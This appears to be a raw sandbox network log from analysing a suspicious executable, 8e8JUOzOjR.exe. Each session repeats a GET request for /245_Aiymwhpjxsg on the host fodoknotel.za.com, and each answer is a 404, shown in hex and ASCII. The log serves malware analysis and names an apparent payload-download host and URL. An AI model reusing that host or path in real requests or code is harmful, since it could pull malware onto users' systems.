Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50146	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:11 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:11 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:11 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:11 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50148	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:12 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:12 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:12 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:12 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50150	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:13 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:13 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:13 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:13 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50152	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:14 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:14 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:14 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:14 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50154	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:14 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:15 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:15 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:15 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50156	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:15 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:15 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:15 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:15 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50158	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:16 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:16 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:16 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:16 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50160	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:17 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:17 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:17 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:17 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50162	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:18 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:18 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:18 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:18 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50164	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:19 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:19 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:19 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:19 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50166	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:19 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:20 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:20 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:20 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50168	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:20 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:21 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:20 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:21 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50170	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:21 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:21 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:21 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:21 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50172	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:22 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:22 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:22 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:22 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC 